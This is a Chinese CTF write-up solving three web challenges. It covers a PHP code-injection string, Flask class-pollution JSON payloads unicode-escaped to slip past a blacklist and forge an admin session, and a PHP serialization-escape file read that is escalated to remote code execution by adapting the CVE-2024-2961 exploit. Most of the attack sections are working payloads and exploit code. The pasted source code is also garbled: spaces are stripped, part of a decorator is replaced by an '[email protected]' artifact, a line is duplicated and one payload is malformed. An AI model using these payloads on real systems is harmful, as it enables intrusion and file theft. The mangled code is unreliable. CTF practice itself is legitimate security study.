web部分wp
CodeInject
开题就几行代码:
没有任何过滤,直接构造进行闭合:
1);system("ls /");//
读取flag
easy_polluted
下载附件得到源码
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
defgenerate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)return md5_hash.hexdigest()deffilter(user_input):
blacklisted_patterns =['init','global','env','app','_','string']for pattern in blacklisted_patterns:if re.search(pattern, user_input, re.IGNORECASE):returnTruereturnFalsedefmerge(src, dst):# Recursive merge functionfor k, v in src.items():ifhasattr(dst,'__getitem__'):if dst.get(k)andtype(v)==dict:
merge(v, dst.get(k))else:
dst[k]= v
elifhasattr(dst, k)andtype(v)==dict:
merge(v,getattr(dst, k))else:setattr(dst, k, v)
app = Flask(__name__)
app.secret_key = generate_random_md5()classevil():def__init__(self):[email protected]('/',methods=['POST'])defindex():
username = request.form.get('username')
password = request.form.get('password')
session["username"]= username
session["password"]= password
Evil = evil()if request.data:iffilter(str(request.data)):return"NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"else:
merge(json.loads(request.data), Evil)return"MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"return render_template("index.html")@app.route('/admin',methods=['POST','GET'])deftemplates():
username = session.get("username",None)
password = session.get("password",None)if username and password:if username =="adminer"and password == app.secret_key:return render_template("flag.html", flag=open("/flag","rt").read())else:return"Unauthorized"else:returnf'Hello, This is the POLLUTED page.'if __name__ =='__main__':
app.run(host='0.0.0.0', port=5000)
app.run(host='0.0.0.0', port=5000)
先看两个路由,/路由是获得session并且对 Evil 使用了merge方法,不难想到可能是原型链污染。
继续看/admin路由,看到满足条件
if username == "adminer" and password == app.secret_key
就会得到flag。
所以大概思路就是通过原型链污染
app.secret_key
的值,然后构造session来满足条件。
payload
{"__init__":{"__globals__":{"app":{"secret_key":"123"}}}}
通过json格式发送,发现有黑名单,unicode编码进行绕过,
{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079":"123"}}}}
然后就是session的构造了,直接post传参
username=adminer&password=123
然后看见返回包返回了个
Set-Cookie
,访问路由/admin并添加此session。
竟然没有flag,
搜索flask原型链污染发现可以通过污染来修改修改相应的语法标识符
{"__init__":{"__globals__":{"app":{"jinja_env":{"variable_start_string":"[#","variable_end_string":"#]"}}}}
同样进行unicode编码
{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076":{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u005b\u0023","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u0023\u005d"}}}}}
最后污染后再次访问,渲染成功,得到flag
Ezzz_php
开题:
<?phphighlight_file(__FILE__);error_reporting(0);functionsubstrstr($data){$start=mb_strpos($data,"[");$end=mb_strpos($data,"]");returnmb_substr($data,$start+1,$end-1-$start);}classread_file{public$start;public$filename="/etc/passwd";publicfunction__construct($start){$this->start=$start;}publicfunction__destruct(){if($this->start=="gxngxngxn"){echo'What you are reading is:'.file_get_contents($this->filename);}}}if(isset($_GET['start'])){$readfile=newread_file($_GET['start']);$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";if(preg_match("/\[|\]/i",$_GET['read'])){die("NONONO!!!");}$ctf=substrstr($read."[".serialize($readfile)."]");unserialize($ctf);}else{echo"Start_Funny_CTF!!!";}
看到
mb_strpos
和
mb_substr
,猜测可能是利用两个函数解析差异进行字符串逃逸
看到最后关键处是
file_get_contents($this->filename);
,那么覆盖
filename
为我们想读的文件即可。
参考黄河流域就知道 %9f 可以增加一个字符,但是这里和那里还有一点区别,这里需要通过控制$start 来控制长度,因为反序列化不能有不可见字符,需要长度刚刚好。
如构造
?start=gnxgnxgnxgnxnx&read=%9f%9f%9f%9f%%9f%9f%%9f%9f%9f%9f%%9f%9f%%9f9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:17:"/usr/sbin/nologin";}
现在能任意文件读取了,但是不知道 flag 文件名,试了试伪协议发现没用,放弃了,不会。
赛后 wp 复现,发现竟然是个 cve,
CVE-2024-2961:将phpfilter任意文件读取提升为远程代码执行
exp:https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py
把参考的 pyload 改一下就行,这里直接看 wp 改的
defsend(self, path:str)-> Response:"""Sends given `path` to the HTTP server. Returns the response.
""" payload_file ='O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:'+str(len(path))+':"'+ path +'";}'
payload ="%9f"*(len(payload_file)+1)+ payload_file.replace("+","%2b")
filename_len ="a"*(len(path)+10)
url = self.url+f"?start={filename_len}&read={payload}"return self.session.get(url)
然会下载依赖直接就能命令执行了 (需要 python3.10 及以上而且要 linux 环境)
pip3 install pwntools
pip3 install https://github.com/cfreal/ten/archive/refs/heads/main.zip
版权归原作者 gaorenyusi 所有, 如有侵权,请联系我们删除。